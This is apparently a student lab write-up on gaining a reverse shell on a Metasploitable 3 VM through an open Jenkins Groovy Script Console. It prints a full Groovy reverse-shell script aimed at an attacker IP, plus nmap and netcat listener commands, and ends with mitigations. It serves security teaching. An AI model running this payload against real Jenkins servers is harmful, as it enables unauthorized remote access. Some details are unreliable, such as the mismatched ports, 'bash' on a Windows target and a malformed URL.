|  |  |  |  |
| --- | --- | --- | --- |
|  |  | Vulnerability Scanning 2 of 2 (core)  Otis Smith / Cybersecurity Professional / 10.2/23 |  |
|  |  |  |  |
| Pipette dropping liquid in a petri dish | | | |

|  |  |  |  |
| --- | --- | --- | --- |
|  |  |  | |
|  |  | TABLE OF CONTENTS |  |
|  |  | Summary …………………………..  Discovery……………………………  Vulnerability……………………….  Exploitation………………………..  References.……………………….. |  |



|  |  |  |
| --- | --- | --- |
| Summary |  | |
| In this lab, we conducted a vulnerability scanning exercise with the objective of exploiting a machine using **Netcat**. We focused on targeting the **Metasploitable Windows machine** and successfully gained a reverse shell on the system. Our approach involved enumerating port **8484**, discovering that it was running a **Jenkins server**, and using a **Groovy script** from an online source to execute a **reverse shell** on the machine. We utilized **Netcat** to establish a connection to the reverse shell, gaining access to the **victim machine** and performing basic commands such as "**dir**," "**whoami**," and "**help.**"  A hand holding a glowing city  Description automatically generated | |  |
| Discovery  The target machine was identified as the Metasploitable Windows machine, with an IP address of **10.0.2.9**. Port **8484** was discovered to be open and running a Jenkins server with the version "**Jetty winstone-2.8**." This was the command use “**nmap -A -T4 10.0.2.9 -p 8484**” to find all the services running on the port.  A screen shot of a computer  Description automatically generated | |  |
|  | |  |

|  |  |  |
| --- | --- | --- |
| Vulnerability |  | |
| The vulnerability exploited in this scenario is related to the Jenkins server running on port **8484**. Specifically, it involves the abuse of the **Jenkins Groovy Script Console**, which allowed us to execute a reverse shell on the target system. The vulnerability is linked to the default Jenkins configuration, which may allow unauthorized users to run scripts with system-level privileges. Use this command to “**http://10.0.2.:8484**” to connect to the Jenkins server page.  A screenshot of a computer  Description automatically generated | |  |

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Exploitation | | |  | |
| A reverse shell script was obtained from an online source and modified to include the target host's IP address (**10.0.2.4**), a specific port (**4445**), and the desired command shell (**bash)**. The modified script was pasted into the **Jenkins Script Console**, which was accessible via the Jenkins web UI. Upon running the script, a reverse shell connection was established to the attacker's machine, granting access to the victim machine.  **Netcat (nc)** was used on the attacker's machine to create a listener on port **8484**.  After clicking "**run**" in the Jenkins console, the reverse shell connection was initiated, providing access to the victim machine's command prompt. Did “**whoami**” command and it return “**nt authority\local service**” Below is the link and script from web site “[**https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6**](https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6)”  “String host="10.0.2.4";  int port=4445; String cmd="bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); “  A screenshot of a computer  Description automatically generated  This **Netcat** command “**nc -lvp 8484**” is used for the listening to occur.  A red line in a dark background  Description automatically generated | | | |  |
| References |  |  | |  |
| **Abusing Jenkins Groovy Script Console to Get Shell**  This online source provided the reverse shell script and instructions for exploiting the Jenkins server's Groovy Script Console.  **Jenkins - Official Documentation**  For further information about Jenkins, its configuration, and best practices, refer to the official Jenkins documentation.  **Metasploitable 3**  Metasploitable 3 is a deliberately vulnerable virtual machine designed for security testing and educational purposes. Refer to its documentation for more details on using this target system. | | | |  |

|  |  |  |
| --- | --- | --- |
| Mitigation:   1. **Jenkins Configuration:**    * Review and secure Jenkins configurations, ensuring that only authorized users have access to the Groovy Script Console. 2. **Patch Management:**    * Keep Jenkins and related software up to date with the latest security patches to address known vulnerabilities. 3. **Access Controls:**    * Implement strict access controls to limit user privileges and prevent unauthorized script execution. 4. **Security Awareness:**    * Educate users about the risks associated with executing scripts and the importance of adhering to security best practices. 5. **Network Segmentation:**    * Employ network segmentation to isolate critical systems and minimize the impact of potential breaches. 6. **Regular Audits:**    * Conduct regular security audits to identify and address vulnerabilities in the infrastructure.   By implementing these mitigation measures, organizations can enhance the security posture of their systems and reduce the risk of similar vulnerabilities being exploited. |  | |
|  | |  |
|  | |  |
|  | |  |